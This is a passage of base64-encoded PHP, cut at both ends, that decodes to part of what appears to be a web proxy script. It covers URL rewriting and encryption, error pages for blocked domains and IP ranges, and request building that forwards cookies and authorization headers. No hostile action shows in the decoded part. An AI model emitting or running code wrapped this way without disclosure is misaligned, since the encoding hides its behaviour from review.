wYXRoPXN0cl9yZXBsYWNlKCcvLi8nLCcvJywkdGhpcy0+cGF0aCkpICYmICRwYXRoIT0kdGhpcy0+cGF0aCkgJHRoaXMtPnBhdGg9JHBhdGg7DQoJCXJldHVybiAkdGhpcy0+cGF0aDsNCgl9DQoJZnVuY3Rpb24gc2V0X3BhdGgoJHBhdGg9bnVsbCl7ICR0aGlzLT5wYXRoPShlbXB0eSgkcGF0aCk/Jy8nOiRwYXRoKTsgfQ0KCWZ1bmN0aW9uIGdldF9maWxlKCl7IHJldHVybiAkdGhpcy0+ZmlsZTsgfQ0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+ZmlsZT0kZmlsZTsgfQ0KCWZ1bmN0aW9uIGdldF9xdWVyeSgpeyByZXR1cm4gJHRoaXMtPnF1ZXJ5OyB9DQoJZnVuY3Rpb24gc2V0X3F1ZXJ5KCRxdWVyeT1udWxsKXsgJHRoaXMtPnF1ZXJ5PSRxdWVyeTsgfQ0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9DQoJZnVuY3Rpb24gc2V0X2xhYmVsKCRsYWJlbD1udWxsKXsgJHRoaXMtPmxhYmVsPSRsYWJlbDsgfQ0KDQoJZnVuY3Rpb24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpew0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHRoaXMtPnVybDsNCgkJcmV0dXJuICR0aGlzLT5nZXRfcHJvdG8oKS4nOi8vJy4NCgkJICAgICAgICgkdGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0AnKS4NCgkJICAgICAgICR0aGlzLT5nZXRfc2VydmVybmFtZSgpLg0KCQkgICAgICAgKCgkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcycgJiYgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09NDQzKSB8fCBpbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpPT04MD9udWxsOic6Jy5pbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpKS4NCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpLg0KCQkgICAgICAgKCR0aGlzLT5nZXRfcXVlcnkoKT09bnVsbD9udWxsOic/Jy4kdGhpcy0+Z2V0X3F1ZXJ5KCkpLg0KCQkgICAgICAgKCR3aXRobGFiZWwgJiYgJHRoaXMtPmdldF9sYWJlbCgpPT1udWxsP251bGw6JyMnLiR0aGlzLT5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCWZ1bmN0aW9uIHN1cnJvZ2FmeSgpew0KCQkkbGFiZWw9JHRoaXMtPmdldF9sYWJlbCgpOw0KCQkkdGhpcy0+c2V0X2xhYmVsKCk7DQoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsNCgkJJHRoaXMtPnNldF9sYWJlbCgkbGFiZWwpOw0KDQoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOw0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHVybDsNCgkJIyB8fCAkdGhpcy0+Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuJHRoaXMtPmdldF9wYXRoKCkuJHRoaXMtPmdldF9maWxlKCk9PVRISVNfU0NSSVBUKSByZXR1cm4gJHVybDsNCg0KCQlpZihFTkNSWVBUX1VSTFMgJiYgISR0aGlzLT5sb2NrZWQpICR1cmw9cHJveGVuYygkdXJsKTsNCgkJIyR1cmw9VEhJU19TQ1JJUFQuJz89Jy4oIUVOQ1JZUFRfVVJMUz91cmxlbmNvZGUoJHVybCk6JHVybCkuKCFlbXB0eSgkbGFiZWwpPyIjJGxhYmVsIjpudWxsKTsgIyB1cmxlbmNvZGVkDQoJCSR1cmw9VEhJU19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOw0KCQlyZXR1cm4gJHVybDsNCgl9DQp9IA0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogVVJMIFBBUlNJTkcge3t7DQpmdW5jdGlvbiBzdXJyb2dhZnlfdXJsKCR1cmwsJHRvcHVybD1mYWxzZSwkYWRkcHJveHk9dHJ1ZSl7DQoJZ2xvYmFsICRjdXJyX3VybG9iajsNCgkvL2lmKHByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2lzJywkdXJsKT4wKXsNCglpZigoJHVybHswfT09JyInICYmIHN1YnN0cigkdXJsLC0xKT09JyInKSB8fCAoJHVybHswfT09J1wnJyAmJiBzdWJzdHIoJHVybCwtMSk9PSdcJycpKXsNCgkJJHVybHF1b3RlPSR1cmx7MH07DQoJCSR1cmw9c3Vic3RyKCR1cmwsMSxzdHJsZW4oJHVybCktMik7DQoJfQ0KCWlmKCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7DQoJJHVybG9iaj1uZXcgYXVybCgkdXJsLCR0b3B1cmwpOw0KCSRuZXdfdXJsPSgkYWRkcHJveHk/JHVybG9iai0+c3Vycm9nYWZ5KCk6JHVybG9iai0+Z2V0X3VybCgpKTsNCglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9InskdXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsNCglyZXR1cm4gJG5ld191cmw7DQp9DQoNCmZ1bmN0aW9uIGZyYW1pZnlfdXJsKCR1cmwsJGZyYW1lX3R5cGU9ZmFsc2Upew0KCWlmKCgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FX1RPUCB8fCAhVVJMX0ZPUk0pICYmICgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FRF9QQUdFICYmICFQQUdFX0ZSQU1FRCkpIHJldHVybiAkdXJsOw0KCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApew0KCWlmKCgkdXJsezB9PT0nIicgJiYgc3Vic3RyKCR1cmwsLTEpPT0nIicpIHx8ICgkdXJsezB9PT0nXCcnICYmIHN1YnN0cigkdXJsLC0xKT09J1wnJykpew0KCQkkdXJscXVvdGU9JHVybHswfTsNCgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsNCgl9DQoJaWYocHJlZ19tYXRjaChGUkFNRV9MT0NLX1JFR0VYUCwkdXJsKTw9MCl7DQoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JNKSAkcXVlcnk9JyY9JzsNCgkJZWxzZWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEKSAkcXVlcnk9Jy4mPSc7DQoJCWVsc2VpZigkZnJhbWVfdHlwZT09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VfRlJBTUVEKSAkcXVlcnk9J18mPSc7DQoJCWVsc2UgJHF1ZXJ5PW51bGw7DQoJCSR1cmw9cHJlZ19yZXBsYWNlKCcvXihbXlw/XSopW1w/XT8nLlBBR0VUWVBFX01JTklSRUdFWFAuJyhbXiNdKj9bI10/Lio/KSQvJywiXFwxPz17JHF1ZXJ5fVxcMyIsJHVybCwxKTsNCgl9DQoJaWYoIWVtcHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOw0KCXJldHVybiAkdXJsOw0KfQ0KDQpmdW5jdGlvbiBwcm94ZW5jKCR1cmwpew0KCWlmKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJykgcmV0dXJuICR1cmw7DQoJJHVybD11cmxlbmNvZGUoJHVybCk7DQoJJG5ld191cmw9bnVsbDsNCglmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCSRjaGFyPW9yZCgkdXJseyRpfSk7DQoJCSRjaGFyKz1vcmQoc3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7DQoJCXdoaWxlKCRjaGFyPjEyNikgJGNoYXItPTk0Ow0KCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgl9DQoJI3JldHVybiAnficuYmFzZTY0X2VuY29kZSgkbmV3X3VybCk7DQoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkbmV3X3VybCkpOw0KfQ0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogRVJST1JTICYgRVhJVElORyB7e3sNCg0KZnVuY3Rpb24gZmluaXNoX25vZXhpdCgpew0KCWdsb2JhbCAkZG5zX2NhY2hlX2FycmF5Ow0KCSMgc2F2ZSBETlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcNCgkkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddPSRkbnNfY2FjaGVfYXJyYXk7DQp9DQoNCmZ1bmN0aW9uIGZpbmlzaCgpew0KCWZpbmlzaF9ub2V4aXQoKTsNCglleGl0KCk7DQp9DQoNCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwkYXJnMz1udWxsKXsNCglnbG9iYWwgJGN1cnJfdXJsOw0KCSR1cmw9JGN1cnJfdXJsOw0KCXN3aXRjaCgkZXJyb3Jubyl7DQoJCWNhc2UgMToNCgkJCSRldD0nQmFkIElQIEFkZHJlc3MnOw0KCQkJJGVkPSJUaGUgSVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBvciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLiI7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGV0PSdBZGRyZXNzIGlzIEJsb2NrZWQnOw0KCQkJJGVkPSJUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IHNlcnZpY2UgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBhZGRyZXNzLCBkb21haW4sIG9yIHN1Ym5ldC5cbjxiciAvPjxiciAvPlxuRG9tYWluOiB7JGFyZzF9XG48YnIgLz5cbkFkZHJlc3M6IHskYXJnMn0iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRldD0nQ291bGQgTm90IFJlc29sdmUgRG9tYWluJzsNCgkJCSRlZD0iVGhlIGRvbWFpbiBvZiB0aGUgVVJMIGdpdmVuICh7JGFyZzF9KSBjb3VsZCBub3QgYmUgcmVzb2x2ZWQgZHVlIHRvIEROUyBpc3N1ZXMgb3IgYW4gZXJyb3JuZW91cyBkb21haW4gbmFtZS4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCSRldD0nQmFkIEZpbHRlcnMnOw0KCQkJJGVkPSdUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBkb21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7DQoJCQkkZWQ9J1RoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBkb21haW4uJzsNCgkJCWJyZWFrOw0KCQljYXNlIDY6DQoJCQkkZXQ9J0NvdWxkIE5vdCBDb25uZWN0IHRvIFNlcnZlcic7DQoJCQkkZWQ9IkFuIGVycm9yIGhhcyBvY2N1cnJlZCB3aGlsZSBhdHRlbXB0aW5nIHRvIGNvbm5lY3QgdG8gXCJ7JGFyZzF9XCIgb24gcG9ydCBcInskYXJnMn1cIi4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNzoNCgkJCSRldD0nSW52YWxpZCBVUkwnOw0KCQkJJGVkPSdUaGUgVVJMIGJlbG93IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkIFVSTC4nOw0KCQkJJHVybD0kYXJnMTsNCgkJCWJyZWFrOw0KCX0NCgkkZWQuPSJcbjxiciAvPjxiciAvPlxuVVJMOiZuYnNwO3skdXJsfSI7DQo/Pg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYm9yZGVyOiAxcHggc29saWQgIzYwMjAyMDsgcGFkZGluZzogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGIj4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYmFja2dyb3VuZC1jb2xvcjogIzgwMTAxMDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDU0cHg7IHBhZGRpbmc6IDJweDsgcGFkZGluZy1sZWZ0OiAxMnB4OyBwYWRkaW5nLXJpZ2h0OiAxMnB4Ij4hPC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IHdpZHRoOiA1MDBweDsgcGFkZGluZy1sZWZ0OiAyMHB4Ij4NCgkJPGRpdiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDAwMDA7IGZvbnQtc2l6ZTogMTJwdDsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXdlaWdodDogYm9sZDsgcGFkZGluZzogMnB4Ij5FcnJvcjogPD9waHAgZWNobygkZXQpOyA/PjwvZGl2Pg0KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhwIGVjaG8oJGVkKTsgPz48L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2PjwvZGl2Pg0KPD9waHAgZmluaXNoKCk7IH0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlM6IFRDUC9JUCB7e3sNCg0KZnVuY3Rpb24gaXBiaXR0ZXIoJGlwYWRkcil7DQoJJGlwc3BsaXQ9ZXhwbG9kZSgnLicsJGlwYWRkcik7DQoJZm9yKCRpPTA7JGk8NDskaSsrKXsNCgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOw0KCQkkaXBzcGxpdFskaV09c3RyX3JlcGVhdCgnMCcsOC1zdHJsZW4oJGlwc3BsaXRbJGldKSkuJGlwc3BsaXRbJGldOw0KCX0NCglyZXR1cm4gaW1wbG9kZShudWxsLCRpcHNwbGl0KTsNCn0NCg0KZnVuY3Rpb24gaXBjb21wYXJlKCRpcHJhbmdlLCRpcCl7DQoJJGlwcmFycj1zcGxpdCgnLycsJGlwcmFuZ2UpOw0KCSRpcGFkZHI9JGlwcmFyclswXTsNCgkkbWFzaz0kaXByYXJyWzFdOw0KCSRtYXNrYml0cz1zdHJfcmVwZWF0KCcxJywkbWFzaykuc3RyX3JlcGVhdCgnMCcsJG1hc2spOw0KCSRpcGJpdHM9aXBiaXR0ZXIoJGlwYWRkcik7DQoJJGlwYml0czI9aXBiaXR0ZXIoJGlwKTsNCglyZXR1cm4gKCgkaXBiaXRzICYgJG1hc2tiaXRzKT09KCRpcGJpdHMyICYgJG1hc2tiaXRzKSk7DQp9DQoNCmZ1bmN0aW9uIGlwX2NoZWNrKCRpcCwkbWFzaz1mYWxzZSl7DQoJJGlwc2VnPScoPzpbMDFdP1swLTldezEsMn18Mig/OjVbMC01XXxbMC00XVswLTldKSknOw0KCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoNCn0NCg0KZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCgkkaXBhZGRyPWdldGhvc3RieW5hbWUoJGFkZHJlc3MpOw0KCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFycmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7DQoJcmV0dXJuICRpcGFkZHI7DQp9DQoNCmZ1bmN0aW9uIGdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVybiAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107DQoJcmV0dXJuIGdldGhvc3RieW5hbWVfY2FjaGVpdCgkYWRkcmVzcyk7DQp9DQoNCmZ1bmN0aW9uIGdldF9jaGVjaygkYWRkcmVzcyl7DQoJZ2xvYmFsICRibG9ja2VkX2FkZHJlc3NlczsNCglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRhZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7DQoJJGlwYz1pcF9jaGVjaygkYWRkcmVzcyk7DQoJJGFkZHJlc3NpcD0oaXBfY2hlY2soJGFkZHJlc3MpPyRhZGRyZXNzOmdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKSk7DQoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZvaygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOw0KCWZvcmVhY2goJGJsb2NrZWRfYWRkcmVzc2VzIGFzICRiYWRkKXsNCgkJaWYoISRpcGMpIGlmKHN0cmxlbigkYmFkZCk8PXN0cmxlbigkYWRkcmVzcykgJiYgc3Vic3RyKCRhZGRyZXNzLHN0cmxlbigkYWRkcmVzcyktc3RybGVuKCRiYWRkKSxzdHJsZW4oJGJhZGQpKT09JGJhZGQpIGhhdm9rKDUpOw0KCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwkYWRkcmVzcywkYWRkcmVzc2lwKTsNCgkJZWxzZWlmKGlwX2NoZWNrKCRiYWRkLHRydWUpKXsgaWYoaXBjb21wYXJlKCRiYWRkLCRhZGRyZXNzaXApKSBoYXZvaygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOyB9DQoJCWVsc2V7DQoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsNCgkJCWlmKGVtcHR5KCRiYWRkaXApKSBoYXZvayg0KTsNCgkJCWlmKCRiYWRkaXA9PSRhZGRyZXNzaXApIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7DQoJCX0NCgl9DQoJcmV0dXJuICRhZGRyZXNzaXA7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBIVFRQIHt7ew0KDQpmdW5jdGlvbiBodHRwY2xlYW4oJHN0cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4wLTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwnOm51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQ0KDQpmdW5jdGlvbiBnZXRwYWdlKCR1cmwpew0KCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5X3ZhcmlhYmxlcywkcmVmZXJlcjsNCg0KCSR1cmxvYmo9bmV3IGF1cmwoJHVybCk7DQoJJHF1ZXJ5PSR1cmxvYmotPmdldF9xdWVyeSgpOw0KCSRyZXF1cmw9JHVybG9iai0+Z2V0X3BhdGgoKS4kdXJsb2JqLT5nZXRfZmlsZSgpLighZW1wdHkoJHF1ZXJ5KT8iP3skcXVlcnl9IjpudWxsKTsNCg0KCSRodHRwX2F1dGg9bnVsbDsNCglpZihleHRlbnNpb25fbG9hZGVkKCdhcGFjaGUnKSl7DQoJCSRmYWlsPWZhbHNlOw0KCQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOw0KCQkkaHR0cF9hdXRoPSRyZXFhcnJheVsnQXV0aG9yaXphdGlvbiddOw0KCX0NCgllbHNlICRmYWlsPXRydWU7DQoNCgkkYXV0aG9yaXphdGlvbj0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQVVUSE9SSVpBVElPTiddOiRjaGVhZGVyc1snQXV0aG9yaXphdGlvbiddKTsNCgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCddOiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsNCgkkaWZfbW9kaWZpZWQ9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX01PRElGSUVEX1NJTkNFJ106JGNoZWFkZXJzWydJZi1Nb2RpZmllZC1TaW5jZSddKTsNCgkkaWZfbm9uZV9tYXRjaD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfSUZfTk9ORV9NQVRDSCddOiRjaGVhZGVyc1snSWYtTm9uZS1NYXRjaCddKTsNCg0KCWlmKCRmYWlsKXsNCgkJaWYoIWVtcHR5KCRhdXRob3JpemF0aW9uKSkgJGh0dHBfYXV0aD0kYXV0aG9yaXphdGlvbjsNCgkJZWxzZWlmKCFlbXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pKQ0KCQkJJGh0dHBfYXV0aD0nQmFzaWMgJy5iYXNlNjRfZW5jb2RlKCJ7JF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXX06eyRfU0VSVkVSWydQSFBfQVVUSF9QVyddfSIpOw0KCQllbHNlaWYoIWVtcHR5KCRfU0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXSkpICRodHRwX2F1dGg9IkRpZ2VzdCB7JF9TRVJWRVJbJ1BIUF9BVVRIX0RJR0VTVCddfSI7DQoJfQ0KDQoJaWYoUElQIT1udWxsICYmIFBQT1JUIT1udWxsKXsNCgkJJHNlcnZlcm5hbWU9UElQOw0KCQkkaXBhZGRyZXNzPWdldF9jaGVjayhQSVApOw0KCQkkcG9ydHZhbD1QUE9SVDsNCgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsNCgl9DQoJZWxzZXsNCgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsNCgkJJGlwYWRkcmVzcz0oJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdzc2wnIHx8ICR1cmxvYmotPmdldF9wcm90bygpPT0naHR0cHMnPydzc2w6Ly8nOm51bGwpLmdldF9jaGVjaygkc2VydmVybmFtZSk7DQoJCSRwb3J0dmFsPSR1cmxvYmotPmdldF9wb3J0dmFsKCk7DQoJfQ0KDQoJJG91dD0ieyRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddfSAiLnN0cl9yZXBsYWNlKCcgJywnJTIwJywkcmVxdXJsKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICIuJHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4oKCRwb3J0dmFsIT04MCAmJiAoJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JHBvcnR2YWwhPTQ0Mzp0cnVlKSk/IjokcG9ydHZhbCI6bnVsbCkuIlxyXG4iOw0KDQoJZ2xvYmFsICR1c2VyYWdlbnQ7DQoJJHVzZXJhZ2VudD1udWxsOw0KCWlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsNCgkJJHVzZXJhZ2VudD0kX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnQnXTsNCgkJaWYoZW1wdHkoJHVzZXJhZ2VudCkpICR1c2VyYWdlbnQ9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KCQkkdXNlcmFnZW50X2Nvb2s9KCR1c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdlbnQpOw0KCQlpZighZW1wdHkoJHVzZXJhZ2VudF9jb29rKSkgJG91dC49IlVzZXItQWdlbnQ6ICR1c2VyYWdlbnRfY29va1xyXG4iOw0KCX0NCglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRob3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7DQoNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlciddKSAmJiAhZW1wdHkoJHJlZmVyZXIpKSAkb3V0Lj0nUmVmZXJlcjogJy5zdHJfcmVwbGFjZSgnICcsJysnLCRyZWZlcmVyKS4iXHJcbiI7DQoJaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigkcG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7DQoNCgkkY29va19wcmVmZG9tYWluPXByZWdfcmVwbGFjZSgnL153d3dcLi9pJyxudWxsLCR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpOyAjKg0KCSRjb29rX3ByZWZpeD1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7DQoJaWYoY291bnQoJF9DT09LSUUpPjAgJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnXSkpew0KCQkkYWRkdG9vdXQ9bnVsbDsNCgkJcmVzZXQoJF9DT09LSUUpOw0KCQl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkX0NPT0tJRSkpew0KCQkJaWYoRU5DUllQVF9DT09LUyl7DQoJCQkJJGtleT1wcm94ZGVjKCRrZXkpOw0KCQkJCSR2YWw9cHJveGRlYygkdmFsKTsgI3VybGRlY29kZSgkdmFsKSk7DQoJCQl9DQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRrZXkpIGNvbnRpbnVlOw0KCQkJIyRjb29rX2RvbWFpbj1wcmVnX3JlcGxhY2UoJy9eKC4qJy5DT09LSUVfU0VQQVJBVE9SLicpLiokLycsJ1wxJywka2V5KTsgIyoqDQoJCQkkY29va19kb21haW49c3Vic3RyKCRrZXksMCxzdHJwb3MoJGtleSxDT09LSUVfU0VQQVJBVE9SKSkuQ09PS0lFX1NFUEFSQVRPUjsNCgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRjb29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVlOw0KCQkJJGtleT1zdWJzdHIoJGtleSxzdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGtleSktc3RybGVuKCRjb29rX2RvbWFpbikpOw0KCQkJaWYoIWluX2FycmF5KCRrZXksJHByb3h5X3ZhcmlhYmxlcykpICRhZGR0b291dC49IiAka2V5PSR2YWw7IjsNCgkJfQ0KCQlpZighZW1wdHkoJGFkZHRvb3V0KSl7DQoJCQkkYWRkdG9vdXQuPSJcclxuIjsNCgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOw0KCQl9DQoJfQ0KDQoJJG91dC49IkFjY2VwdDogKi8qO3E9MC4xXHJcbiIuDQoJICAgICAgKEdaSVBfUFJPWFlfU0VSVkVSPyJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIjpudWxsKS4NCgkgICAgICAvLyJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuDQoJICAgICAgLyovDQoJICAgICAgIktlZXAtQWxpdmU6IDMwMFxyXG4iLg0KCSAgICAgICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8NCgkgICAgICAiQ29ubmVjdGlvbjogY2xvc2VcclxuIi4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8qLw0KCSAgICAgICgkY2FjaGVfY29udHJvbCE9bnVsbD8iQ2FjaGUtQ29udHJvbDogJGNhY2hlX2NvbnRyb2xcclxuIjpudWxsKS4NCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJ